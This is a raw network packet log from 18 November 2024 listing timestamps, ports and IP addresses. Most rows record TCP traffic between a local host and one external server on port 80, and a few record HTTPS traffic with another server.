Nov 18, 2024 23:04:10.870095968 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.870142937 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.870177984 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.870178938 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.870196104 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.870214939 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.870223045 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.870253086 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.870254040 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.870291948 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.870296955 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.870337963 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.870558023 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.870603085 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.871105909 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.871161938 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.876406908 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.876463890 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.876580954 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.876611948 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.876640081 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.876667976 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.876807928 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.876842976 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.876859903 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.876878977 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.876883984 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.876935005 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.876966953 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.877021074 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.877022028 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.877058983 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.877078056 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.877091885 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.877096891 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.877127886 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.877149105 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.877170086 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.877181053 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.877218962 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.877234936 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.877249956 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.877276897 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.877304077 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.877767086 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.877819061 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.877823114 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.877854109 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.877871990 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.877896070 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.878076077 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.878109932 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.878127098 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.878145933 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.878150940 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.878192902 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.878242970 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.878290892 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.878452063 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.878496885 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.878505945 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.878540039 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.878552914 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.878592014 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.954829931 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.954894066 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.954929113 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.955086946 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.955086946 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.955086946 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.961739063 CET	443	49808	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:10.961863041 CET	443	49808	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:10.961910963 CET	49808	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:10.961988926 CET	49808	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:10.962007999 CET	443	49808	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:10.962018967 CET	49808	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:10.962028027 CET	443	49808	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:10.963027954 CET	443	49802	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:10.963378906 CET	49802	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:10.963407040 CET	443	49802	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:10.963781118 CET	49802	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:10.963792086 CET	443	49802	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:10.964386940 CET	49812	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:10.964462042 CET	443	49812	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:10.964540005 CET	49812	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:10.964653015 CET	49812	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:10.964679003 CET	443	49812	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:10.989916086 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.989953041 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.989989996 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.990044117 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.990077972 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.990077972 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.990113020 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.990147114 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.990159988 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.990159988 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.990159988 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.990159988 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.990175962 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.990180969 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.990195036 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.990226030 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.996463060 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.996498108 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.996534109 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.996542931 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.996556044 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.996592999 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.996615887 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.996670008 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.996670961 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.996705055 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.996727943 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.996737957 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.996767044 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.996773005 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.996793985 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.996817112 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.997098923 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.997133970 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.997155905 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.997169018 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.997186899 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.997226000 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.997342110 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.997375965 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.997400999 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.997416973 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.997426987 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.997478962 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.997505903 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.997539043 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.997553110 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.997582912 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.997834921 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.997868061 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.997890949 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.997901917 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.997915030 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.997952938 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.998094082 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.998147964 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.998147964 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.998186111 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.998203993 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.998219967 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.998244047 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.998255014 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.998267889 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.998289108 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.998312950 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.998327971 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.998342991 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.998357058 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:10.998382092 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:10.998399973 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.038957119 CET	49807	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:11.038997889 CET	443	49807	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:11.075270891 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.075305939 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.075359106 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.075371981 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.075371981 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.075424910 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.109819889 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.109918118 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.109946012 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.109956026 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.109977961 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.110008001 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.110012054 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.110047102 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.110073090 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.110084057 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.110100985 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.110117912 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.110142946 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.110183001 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.110304117 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.110361099 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.110397100 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.110452890 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.117552042 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.117585897 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.117609978 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.117628098 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.117640018 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.117675066 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.117697954 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.117721081 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.117728949 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.117763042 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.117785931 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.117796898 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.117804050 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.117830992 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.117850065 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.117866993 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.117887974 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.117904902 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.117909908 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.117955923 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.118016005 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.118050098 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.118072033 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.118083954 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.118089914 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.118134022 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.118136883 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.118171930 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.118179083 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.118206024 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.118221045 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.118241072 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.118259907 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.118274927 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.118283033 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.118325949 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.118331909 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.118367910 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.118390083 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.118410110 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.118962049 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.119015932 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.119020939 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.119050026 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.119071007 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.119092941 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.119168043 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.119201899 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.119223118 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.119242907 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.189929008 CET	443	49802	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:11.190726995 CET	443	49802	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:11.190793991 CET	49802	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:11.191776991 CET	49802	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:11.191776991 CET	49802	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:11.191807985 CET	443	49802	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:11.191831112 CET	443	49802	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:11.194523096 CET	49813	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:11.194610119 CET	443	49813	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:11.194669962 CET	49813	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:11.195025921 CET	49813	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:11.195080996 CET	443	49813	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:11.195235968 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.195291996 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.195298910 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.195344925 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.195408106 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.195408106 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.224188089 CET	443	49809	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:11.224512100 CET	49809	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:11.224529028 CET	443	49809	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:11.224879026 CET	49809	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:11.224889994 CET	443	49809	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:11.269799948 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.269876003 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.269915104 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.269963026 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.269967079 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.270018101 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.270023108 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.270057917 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.270062923 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.270093918 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.270126104 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.270128012 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.270148993 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.270167112 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.270169020 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.270201921 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.270211935 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.270241022 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.270241976 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.270283937 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.270350933 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.270384073 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.270402908 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.270421028 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.270427942 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.270457029 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.270476103 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.270507097 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.270800114 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.270833969 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.270857096 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.270868063 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.270879030 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.270903111 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.270919085 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.270937920 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.270951986 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.270973921 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.270981073 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.271019936 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.271262884 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.271349907 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.271390915 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.271430969 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.271464109 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.271482944 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.271486044 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.271516085 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.271543980 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.271550894 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.271564960 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.271584988 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.271604061 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.271620035 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.271651983 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.271652937 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.271673918 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.271687031 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.271709919 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.271749973 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.272278070 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.272313118 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.272331953 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.272347927 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.272365093 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.272391081 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.273439884 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.273497105 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.315391064 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.315447092 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.315486908 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.315500021 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.315500021 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.315551996 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.350168943 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.350241899 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.350253105 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.350280046 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.350291014 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.350316048 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.350328922 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.350356102 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.350363970 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.350390911 CET	80	49794	31.41.244.11	192.168.2.4
